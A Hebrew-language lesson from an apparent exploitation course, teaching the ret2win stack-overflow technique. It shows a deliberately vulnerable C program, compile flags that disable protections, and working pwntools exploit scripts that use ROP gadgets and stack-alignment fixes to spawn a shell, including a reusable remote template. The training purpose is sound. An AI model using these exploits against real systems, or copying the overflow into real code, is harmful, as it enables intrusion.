2.3 ניתוב הרצה וret2win הרצאה
בשני השיעורים הקודמים למדנו לגלוש על המחסנית ולהשתלט על מצביע ההוראות: ב-2.1 ראינו איך overflow דורסת את הreturn address, וב-2.2 מצאנו את ה-offset המדויק עד הreturn address בעזרת cyclic. עכשיו יש לנו שליטה מלאה: אנחנו יכולים לגרום ל-ret לקפוץ לכל כתובת שנרצה. השאלה הגדולה היא לאן לקפוץ. הצעד הראשון והפשוט ביותר הוא לקפוץ לקוד שכבר קיים בתוך הבינארי - טכניקה שנקראת ret2win. בדרך נלמד גם איך להעביר ארגומנטים לפונקציה שאנחנו קופצים אליה, ההבדל המהותי בין 32 ל-64 ביט, ומלכודת alignment מחסנית ב-64 ביט שמפילה חצי מהתלמידים בפעם הראשונה.
הרעיון - ret2win¶
הרבה פעמים, בעיקר באתגרי CTF ובאתגרי אימון, יש בבינארי פונקציה "מנצחת" שכבר קומפלה פנימה אבל אף אחד לא קורא לה בזרימה הרגילה. היא מדפיסה דגל, פותחת shell, או משנה משתנה קריטי. המטרה שלנו פשוטה: לגרום לתוכנית לקרוא לפונקציה הזו למרות שהיא לא אמורה להיקרא. מכיוון שכבר יש לנו שליטה בreturn address, כל מה שצריך זה לכתוב שם את הכתובת של הפונקציה המנצחת.
למה מתחילים דווקא מכאן? כי ret2win מבודד את הקושי. אנחנו לא צריכים להזריק shellcode (זה עוקף את NX ממילא - הקוד כבר קיים ומסומן כניתן להרצה), ואנחנו לא צריכים לדלוף כתובות אם הבינארי לא PIE - הכתובת של הפונקציה קבועה בכל הרצה. זה הופך את ret2win למעבדה מושלמת ללמוד בה שליטה בזרימה ומעבר ארגומנטים, לפני שנצלול ל-ROP המלא בפרק 4.
הבינארי לדוגמה - הקוד הvulnerable¶
לאורך כל השיעור נעבוד עם הבינארי הבא. שימו לב לפונקציה win שאף אחד לא קורא לה:
// win.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void win(long key1, long key2) {
if (key1 == 0xcafebabe && key2 == 0xdeadbeef) {
puts("Access granted. Spawning shell...");
system("/bin/sh");
} else {
puts("Wrong keys.");
}
}
void vuln() {
char buf[64];
puts("Send your payload:");
read(0, buf, 256); // reads 256 bytes into a 64-byte buffer - classic overflow
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
return 0;
}
נקמפל שתי גרסאות, אחת ל-64 ביט ואחת ל-32 ביט. אנחנו מכבים בכוונה את הcanary ואת PIE כדי לבודד את הטכניקה:
# 64-bit
gcc -fno-stack-protector -no-pie -o win64 win.c
# 32-bit
gcc -m32 -fno-stack-protector -no-pie -o win32 win.c
בואו נראה מה מצב ההגנות עם checksec:
הנחות ההגנה שלנו לכל השיעור: NX פעיל (לא נריץ קוד על המחסנית), אין canary (הoverflow לא נתפסת), הבינארי לא PIE (כתובת win קבועה). שימו לב לנקודה קריטית: מכיוון שהבינארי לא PIE, ret2win עובד גם כש-ASLR מופעל במערכת - ה-ASLR מערבב את libc, את המחסנית ואת ה-heap, אבל את הקוד של הבינארי עצמו הוא לא נוגע. הכתובת של win היא אותה כתובת בכל הרצה.
איך מוצאים את הכתובת של win? כמה דרכים:
$ objdump -d win64 | grep '<win>:'
0000000000401196 <win>:
$ nm win64 | grep ' win'
0000000000401196 T win
או, הכי נוח, ישר מ-pwntools עם elf.symbols['win'].
קפיצה בלי ארגומנטים - ret2win פשוט¶
לפני שנתעסק בארגומנטים, נתחיל מהמקרה הכי פשוט: נניח לרגע שהפונקציה המנצחת לא מקבלת פרמטרים בכלל אלא רק מדפיסה דגל. כל מה שצריך זה למלא את הbuffer עד הreturn address, ואז לכתוב שם את כתובת win. את ה-offset מצאנו בשיעור 2.2 עם cyclic; לbuffer של 64 בתים ועם saved rbp של 8 בתים ב-64 ביט, ה-offset הוא 72.
low addresses (top of stack)
+----------------------------+
| padding - 72 bytes | <-- fills buf and saved rbp
+----------------------------+
| address of win | <-- vuln's ret jumps here
+----------------------------+
high addresses
והסקריפט:
from pwn import *
context.binary = elf = ELF('./win64')
offset = 72
payload = b'A' * offset + p64(elf.symbols['win'])
p = process('./win64')
p.sendline(payload)
p.interactive()
עד כאן פשוט. אבל ברגע ש-win צריכה לקרוא ל-system("/bin/sh"), נופלים לתוך שתי מלכודות: איך מעבירים ארגומנטים, ובעיית alignment המחסנית ב-64 ביט. נתחיל מהעברת ארגומנטים, כי שם ההבדל בין הארכיטקטורות הכי חד.
העברת ארגומנטים ב-32 ביט - cdecl¶
בקונבנציית הקריאה של 32 ביט (cdecl), הארגומנטים עוברים על המחסנית. כשמהדר רגיל קורא לפונקציה, הוא דוחף את הארגומנטים למחסנית (מהאחרון לראשון), ואז מבצע call שדוחף את הreturn address. כלומר, ברגע שהפונקציה מתחילה לרוץ, המחסנית נראית ככה: בראש נמצאת הreturn address, מעליה הארגומנט הראשון, מעליו השני, וכן הלאה.
עכשיו הטריק: אנחנו לא מבצעים call. אנחנו מגיעים ל-win דרך ret. אבל win לא יודעת את זה - היא מניחה שקראו לה כרגיל, ולכן היא מצפה שבראש המחסנית תהיה הreturn address שלה, ומעליה הארגומנטים. אז אנחנו פשוט צריכים לזייף בדיוק את המבנה הזה בעצמנו:
low addresses (top of stack)
+----------------------------+
| padding | <-- fills buf and saved ebp
+----------------------------+
| address of win | <-- vuln's ret jumps here
+----------------------------+
| fake return address for win | <-- where win returns when it finishes
+----------------------------+
| key1 = 0xcafebabe | <-- first argument
+----------------------------+
| key2 = 0xdeadbeef | <-- second argument
+----------------------------+
high addresses
הסלוט של "return address מזויפת" הוא קריטי, וכאן טועים הרבה. אחרי שה-ret של vuln קופץ ל-win, מצביע המחסנית מצביע על הסלוט שמיד אחרי כתובת win. הפרולוג של win יתייחס לסלוט הזה בתור הreturn address שלה, ולסלוטים שמעליו בתור הארגומנטים. אם נשכח את סלוט החזרה המזויף, win תקרא את key1 בתור הכתובת שלה לחזור אליה, ואת key2 בתור הארגומנט הראשון - הכל יזוז מקום אחד וזה יקרוס או ייכשל.
מה שמים בסלוט החזרה המזויף? כל כתובת חוקית שאליה win יכולה לחזור בשלום. אם השגנו shell זה בכלל לא משנה כי לא נחזור. אבל אם win רק מדפיסה משהו וחוזרת, כדאי לשים שם כתובת של exit או של main כדי שהתוכנית לא תקרוס מיד אחרי.
from pwn import *
context.binary = elf = ELF('./win32')
win = elf.symbols['win']
offset = 72 # verify with cyclic - in 32-bit saved ebp is 4 bytes and the alignment may vary
payload = flat(
b'A' * offset,
win, # overwrites the return address -> jumps to win
0xdeadc0de, # fake return address for win (we won't return, so it's a dummy value)
0xcafebabe, # key1
0xdeadbeef, # key2
)
p = process('./win32')
p.sendline(payload)
p.interactive()
שימו לב ש-long ב-32 ביט הוא 4 בתים, ולכן pwntools יארוז כל ערך כ-p32 אוטומטית בתוך flat. הפונקציה flat היא בדיוק בשביל זה - היא מדביקה את החלקים לפי context ומטפלת ב-endianness וברוחב המילה.
העברת ארגומנטים ב-64 ביט - System V ומבוא לגאדג'טים¶
ב-64 ביט הסיפור שונה לגמרי. קונבנציית הקריאה של System V מעבירה את ששת הארגומנטים הראשונים באוגרים, לא על המחסנית: rdi, rsi, rdx, rcx, r8, r9, בסדר הזה. כדי לקרוא ל-win(key1, key2) אנחנו צריכים ש-rdi יכיל את key1 ו-rsi יכיל את key2 ברגע שנגיע ל-win.
הבעיה: אנחנו שולטים במחסנית, לא באוגרים. איך מכניסים ערך לאוגר בלי להריץ קוד משלנו? כאן נכנס לתמונה הגאדג'ט - רצף קצר של הוראות שכבר קיים בבינארי ומסתיים ב-ret. הגאדג'ט הקלאסי הוא:
ההוראה pop rdi שולפת 8 בתים מראש המחסנית לתוך rdi, ואז ret קופצת לכתובת הבאה שעל המחסנית. כלומר, אם נסדר על המחסנית המזויפת את הכתובת של הגאדג'ט, מיד אחריה את הערך שרוצים ב-rdi, ומיד אחריו את הכתובת של win - הכל יתנגן לבד:
low addresses (top of stack)
+----------------------------+
| padding - 72 bytes |
+----------------------------+
| address of pop rdi ; ret | <-- vuln's ret jumps here
+----------------------------+
| 0xcafebabe | <-- popped into rdi (key1)
+----------------------------+
| address of win | <-- the gadget's ret jumps here
+----------------------------+
high addresses
הזרימה: vuln מבצעת ret וקופצת ל-pop rdi ; ret. ה-pop שולף את 0xcafebabe ל-rdi. ה-ret של הגאדג'ט שולף את הכתובת של win וקופץ אליה - ועכשיו rdi כבר מכיל את הארגומנט הנכון. זה בדיוק הרעיון של ROP, שנרחיב עליו בפרק 4: משרשרים קטעי קוד קיימים כדי לבנות התנהגות חדשה.
לארגומנט שני צריך גם rsi. הגאדג'ט הנפוץ שהמהדר משאיר הוא pop rsi ; pop r15 ; ret (ה-pop r15 הוא "תופעת לוואי" שצריך למלא בערך דמה). איך מוצאים את הגאדג'טים? עם ROPgadget:
$ ROPgadget --binary win64 | grep 'pop rdi ; ret'
0x0000000000401256 : pop rdi ; ret
$ ROPgadget --binary win64 | grep 'pop rsi ; pop r15 ; ret'
0x0000000000401254 : pop rsi ; pop r15 ; ret
$ ROPgadget --binary win64 | grep ': ret$'
0x000000000040101a : ret
הנה בנייה ידנית של הchain עם שני ארגומנטים:
from pwn import *
context.binary = elf = ELF('./win64')
pop_rdi = 0x401256
pop_rsi_r15 = 0x401254
win = elf.symbols['win']
offset = 72
payload = flat(
b'A' * offset,
pop_rdi, 0xcafebabe, # rdi = key1
pop_rsi_r15, 0xdeadbeef, 0, # rsi = key2, r15 = 0 (dummy)
win,
)
p = process('./win64')
p.sendline(payload)
p.interactive()
לא חייבים למצוא כתובות גאדג'טים ביד. הספרייה pwntools יודעת לעשות את זה לבד עם אובייקט ROP, שמחפש את הגאדג'טים המתאימים ובונה את הchain:
from pwn import *
context.binary = elf = ELF('./win64')
rop = ROP(elf)
rop.call('win', [0xcafebabe, 0xdeadbeef]) # pwntools finds pop rdi / pop rsi on its own
log.info(rop.dump()) # prints the chain nicely
offset = 72
payload = b'A' * offset + rop.chain()
p = process('./win64')
p.sendline(payload)
p.interactive()
זה נקי, אבל שימו לב - pwntools לא פותר בשבילכם את מלכודת הalignment שבסעיף הבא. אם ה-shell לא נפתח למרות שהכל נראה נכון, כמעט תמיד זה הalignment.
מלכודת הalignment - movaps וalignment מחסנית ב-64 ביט¶
זו המלכודת שמפילה כמעט את כולם בפעם הראשונה שקוראים ל-system דרך ROP. אתם בונים chain מושלמת, rdi מצביע על /bin/sh, קופצים ל-system - והתוכנית קורסת עם SIGSEGV בתוך libc, בלי סיבה נראית לעין.
הסיבה: ה-ABI של System V מחייב שברגע שמבצעים הוראת call, מצביע המחסנית rsp יהיה מיושר ל-16 בתים (כלומר rsp % 16 == 0). המהדר של libc מנצל את ההבטחה הזו: פונקציות מותאמות כמו system (דרך do_system), printf ואחרות משתמשות בהוראות SSE כמו movaps ו-movdqa שדורשות כתובת מיושרת ל-16. אם rsp לא מיושר כמו שצריך, ה-movaps זורק חריגת הגנה כללית, שמתורגמת ל-SIGSEGV.
כשקוראים לפונקציה דרך call רגיל, החומרה דואגת לalignment. אבל אנחנו לא עושים call - אנחנו מגיעים ל-win דרך chain של ret. כל ret שולף 8 בתים, וכל פריט בchain שלנו הוא 8 בתים, אז הalignment של rsp תלוי בדיוק בכמה פריטים יש בchain. במקרים רבים אנחנו נופלים על rsp % 16 == 8 במקום 0, וזה מספיק כדי לפוצץ את ה-movaps.
איך נראה הקריסה ב-gdb? תיפול בדיוק על הוראת movaps, בדרך כלל בתוך do_system:
Program received signal SIGSEGV
=> 0x7ffff7e4a3b1 <do_system+915>: movaps XMMWORD PTR [rsp+0x50], xmm0
ברגע שאתם רואים movaps בכתובת של libc בזמן שקראתם ל-system - זה הalignment, אין ספק. התיקון פשוט ואלגנטי: מוסיפים גאדג'ט של ret בודד לפני הקריאה שמפוצצת. הגאדג'ט הזה לא עושה כלום חוץ מלשלוף 8 בתים ולקפוץ הלאה, כלומר הוא מזיז את rsp ב-8 בתים בדיוק - וזה הופך rsp % 16 == 8 ל-rsp % 16 == 0.
without alignment: with a ret gadget for alignment:
+----------------------+ +----------------------+
| pop rdi ; ret | | ret (alignment) | <-- moves rsp by 8
+----------------------+ +----------------------+
| 0xcafebabe | | pop rdi ; ret |
+----------------------+ +----------------------+
| win -> crashes in movaps | | 0xcafebabe |
+----------------------+ +----------------------+
| win -> works! |
+----------------------+
בקוד זה נראה ככה:
from pwn import *
context.binary = elf = ELF('./win64')
rop = ROP(elf)
ret = rop.find_gadget(['ret'])[0] # single ret gadget for alignment
rop.raw(ret) # aligns the stack
rop.call('win', [0xcafebabe, 0xdeadbeef])
offset = 72
payload = b'A' * offset + rop.chain()
p = process('./win64')
p.sendline(payload)
p.interactive()
כלל אצבע מעשי: אם ב-64 ביט הקריאה ל-system (או לכל פונקציית libc "כבדה") קורסת ב-movaps, פשוט תוסיפו גאדג'ט ret אחד לפני הקריאה ותנסו שוב. אם זה עדיין קורס, לפעמים הבעיה הפוכה - יש לכם ret מיותר; תורידו אותו. שווה לזכור: ב-32 ביט הבעיה הזו כמעט לא צצה, כי system ב-32 ביט לא מסתמכת על alignment ה-movaps בצורה הזו. זו מלכודת של עולם ה-64 ביט.
שרשור מלא עם pwntools - הדרך המקצועית¶
בפועל, כשעובדים על אתגר אמיתי, לא כותבים כתובות גאדג'ט ביד אלא נותנים ל-ROP לעשות את העבודה. הנה שלד מלא ונקי שאפשר לקחת ולהתאים כמעט לכל אתגר ret2win:
#!/usr/bin/env python3
from pwn import *
context.binary = elf = ELF('./win64')
context.log_level = 'info'
def conn():
if args.REMOTE:
return remote('chall.server', 1337)
return process('./win64')
# 1. find the offset (we did this in lesson 2.2 with cyclic)
offset = 72
# 2. build the chain
rop = ROP(elf)
rop.raw(rop.find_gadget(['ret'])[0]) # stack alignment for 64-bit
rop.call('win', [0xcafebabe, 0xdeadbeef]) # rdi=key1, rsi=key2, then win
# 3. assemble and send
payload = flat({offset: rop.chain()})
log.info('ROP chain:\n' + rop.dump())
p = conn()
p.recvuntil(b'payload:')
p.sendline(payload)
p.interactive()
כמה דגשים על הקוד הזה. השימוש ב-flat({offset: rop.chain()}) הוא הדרך הנקייה ביותר: זה אומר "תמלא ב-padding עד ה-offset, ואז שים את הchain". הדגל args.REMOTE מאפשר להריץ מקומית לפיתוח (python3 exploit.py) ומול השרת האמיתי במעבר לפרודקשן (python3 exploit.py REMOTE). ה-p.recvuntil מסנכרן אותנו עם הפלט של התוכנית לפני שאנחנו שולחים, כדי לא לשלוח מוקדם מדי.
מלכודות נפוצות וטיפים¶
- אורך ה-offset הוא לא זהה בין 32 ל-64 ביט. ב-64 ביט
saved rbpהוא 8 בתים, ב-32 ביט הוא 4 בתים, והalignment של המהדר עשוי להוסיף padding. תמצאו את ה-offset מחדש עםcyclicלכל בינארי בנפרד. - שיטת הקלט קובעת אילו בתים מותרים.
readו-freadקוראים בתים גולמיים כולל\x00, אז כתובות עם בתים אפסיים בסדר. לעומת זאתgets,scanf("%s")ו-strcpyעוצרים ברווח או ב-null, וזה מגביל את מה שאפשר לשלוח - נושא שנרחיב עליו כשנגיע ל"בתים אסורים". - ב-64 ביט כתובות רבות בבינארי מכילות בית אפס עליון (כמו
0x0000000000401196).p64דואג לזה, אבל אם הקלט נקטע ב-null (למשל עםscanf), תצטרכו טריקים. - אם
winדורשת ערך ספציפי ב-rdx(הארגומנט השלישי), חפשו גאדג'טpop rdx ; ret. לפעמים הוא לא קיים בבינארי הקטן, ואז מחפשים בגאדג'טים של libc או משתמשים ב-ret2csu- טכניקה מפרק 6. - כשמשהו לא עובד, הריצו את ה-exploit תחת gdb:
gdb ./win64ואזrun < payload.bin, או השתמשו ב-gdb.attach(p)מתוך pwntools. תסתכלו איפה נופלים ובאיזה מצב האוגרים.
סיכום¶
- טכניקת
ret2winהיא לניתוב הרצה לפונקציה שכבר קיימת בבינארי, על ידי דריסת הreturn address בכתובת של אותה פונקציה. - כשהבינארי לא PIE, כתובת הפונקציה קבועה, ולכן
ret2winעובד גם עם ASLR פעיל במערכת. - ב-32 ביט (cdecl) הארגומנטים עוברים על המחסנית: אחרי כתובת הפונקציה שמים סלוט לreturn address מזויפת, ורק אחריו את הארגומנטים.
- ב-64 ביט (System V) הארגומנטים עוברים באוגרים
rdi,rsi,rdx... וצריך גאדג'טים כמוpop rdi ; retכדי להכניס ערך לאוגר - זה כבר טעימה ראשונה מ-ROP. - מלכודת ה-
movaps: פונקציות libc מותאמות קורסות אםrspלא מיושר ל-16 בתים. הפתרון הוא להוסיף גאדג'טretבודד לalignment לפני הקריאה. - הכלים המרכזיים:
checksecלהגנות,objdump/nmלכתובות,ROPgadgetלגאדג'טים, ו-pwntools(ELF,ROP,flat,p32/p64) לבניית ה-exploit.